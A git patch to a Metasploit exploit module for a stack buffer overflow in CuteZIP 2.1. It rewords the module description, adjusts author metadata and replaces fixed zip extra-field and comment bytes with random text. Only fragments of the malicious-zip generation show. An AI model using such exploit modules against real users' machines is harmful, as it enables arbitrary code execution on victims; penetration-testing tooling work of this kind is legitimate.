From 1ec7f033520d12f0733aeed17896d0cfc5e5294f Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 14 Aug 2012 18:45:05 +0200 Subject: [PATCH] Changes proposed by todb: description, author email, zip data random --- .../exploits/windows/fileformat/cutezip_bof.rb | 15 +++++++-------- 1 file changed, 7 insertions(+), 8 deletions(-) diff --git a/modules/exploits/windows/fileformat/cutezip_bof.rb b/modules/exploits/windows/fileformat/cutezip_bof.rb index ab98fd1ffb..75c25be1a7 100644 --- a/modules/exploits/windows/fileformat/cutezip_bof.rb +++ b/modules/exploits/windows/fileformat/cutezip_bof.rb @@ -22,15 +22,15 @@ class Metasploit3 < Msf::Exploit::Remote This module exploits a stack-based buffer overflow vulnerability in version 2.1 of CuteZIP. - In order for the command to be executed, an attacker must convince someone to open - a specially crafted zip file with CuteZIP. By doing so, an attacker can execute - arbitrary code as the victim user. + In order for the command to be executed, an attacker must convince the target user + to open a specially crafted zip file with CuteZIP. By doing so, an attacker can + execute arbitrary code as the target user. }, 'License' => MSF_LICENSE, 'Author' => [ - 'C4SS!0 G0M3S', # Initial discovery, poc - 'juan vazquez' # Metasploit + 'C4SS!0 G0M3S ', # Initial discovery, poc + 'juan vazquez' # Metasploit ], 'References' => [ @@ -89,9 +89,8 @@ class Metasploit3 < Msf::Exploit::Remote # Create the file zip = Rex::Zip::Archive.new - xtra = [0xdac0ffee].pack('V') - comment = [0xbadc0ded].pack('V') - zip.add_file(crafted_file, xtra, comment) + xtra = rand_text(4) + zip.add_file(crafted_file, xtra) print_status("Creating '#{datastore['FILENAME']}' file...") file_create(zip.pack)